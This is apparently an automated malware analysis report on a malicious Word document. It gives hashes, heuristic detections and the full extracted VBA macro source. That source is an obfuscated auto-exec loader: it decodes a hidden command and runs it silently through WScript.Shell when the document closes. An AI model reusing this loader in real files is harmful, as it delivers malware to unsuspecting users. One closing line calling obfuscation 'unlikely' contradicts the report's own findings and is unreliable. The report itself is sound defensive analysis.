Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ad2cddbefebafe1b…

MALICIOUS

Office (OOXML)

53.8 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-16
MD5: 22d013541f27c6b017f805caedc7e1b0 SHA-1: f78e584d918e74e8e7ff343a8801b50324374cae SHA-256: ad2cddbefebafe1b676c5429ce39ab46cb7cb947fa7f4ce4437e2bf8dc177cb5
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OOXML document containing obfuscated VBA macros. The AutoClose macro is triggered upon closing the document, which then calls a dehorners subroutine. This subroutine likely decodes and executes a payload, as indicated by the use of Shell() and CreateObject() calls, and the presence of an obfuscated auto-exec loader. The VBA code reconstructs a command that is likely used to download and execute a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-6707243-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6707243-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
         If inane - safe > 1 Then
           CreateObject(Trim(indicans) & ".Shell").Run wildfowlings, 0
           counsellings = False
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Application.Run "dehorners", hustled
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If inane - safe > 1 Then
           CreateObject(Trim(indicans) & ".Shell").Run wildfowlings, 0
           counsellings = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
      nebula = Array("p", "g", "R", "2", "G", "5", "y", "E", "y", "V", "R", "2", "2", "", "n", "m", "m", "g", "Z", "N", "o", "y", "c", "Z", "M", "R", "T", "o", "y", "0", "R", "Z", "y", "q", "o", "a", "0", "c", "0", "g", "5", "M", "0", "p", "m", "v", "I", "S", "m", "q", "o", "p", "G", "5", "", "R", "", "z", "Z", "2", "p", "G", "j", "a", "y", "f", "g", "Z", "g", "G")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2094 bytes
SHA-256: 7458b6246def9d9cb160d858e1223994895fc41f08967f4a3faf24ae744fb884
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function codeveloped(nebula)
  dreich = Array("M", "0", "N", "f", "o", "m", "S", "V", "n", "G", "E", "j", "q", "5", "2", "y", "c", "", "R", "g", "a", "z", "I", "T", "Z", "p", "v")
  indocibleness = Array("c", "o", "k", "r", "i", "/", "K", " ", ":", "a", "x", "=", "l", ".", "t", "e", "b", "p", "h", "s", "v", "?", "F", "n", "u", "m", "A")
  
  furious = vbNullString
  
  For Each fairyfolk In nebula
    jazzing = technographical(fairyfolk, dreich, UBound(dreich))
    If jazzing > -1 Then
    furious = indocibleness(jazzing) & furious
    End If
  Next
  
  codeveloped = StrReverse(furious)
  
End Function

Public Function technographical(nonpensionable, chevied, unauthorizedness)
  bilobed = 5553
  wergilds = 772
  For bilobed = 0 To unauthorizedness
    If chevied(bilobed) = nonpensionable And bilobed > -1 Then
     wergilds = bilobed
    End If
  Next

  If wergilds = 772 Then
    wergilds = -1
  End If
  
  technographical = wergilds
End Function

Sub AutoClose()
  nebula = Array("p", "g", "R", "2", "G", "5", "y", "E", "y", "V", "R", "2", "2", "", "n", "m", "m", "g", "Z", "N", "o", "y", "c", "Z", "M", "R", "T", "o", "y", "0", "R", "Z", "y", "q", "o", "a", "0", "c", "0", "g", "5", "M", "0", "p", "m", "v", "I", "S", "m", "q", "o", "p", "G", "5", "", "R", "", "z", "Z", "2", "p", "G", "j", "a", "y", "f", "g", "Z", "g", "G")
  hustled = codeveloped(nebula)
  
  Application.Run "dehorners", hustled
  
End Sub


Private Sub dehorners(wildfowlings)
   
   indicans = "WScript"
   safe = 3271
   counsellings = True
   
   While counsellings
     inane = safe + 60
     If inane - safe > 1 Then
       CreateObject(Trim(indicans) & ".Shell").Run wildfowlings, 0
       counsellings = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 14c2b958645fe6a858952a670d0cee3bc31f1677c69fb50005a379077b935d28
Detection
ClamAV: Doc.Malware.Generic-6707243-0
Obfuscation or payload: unlikely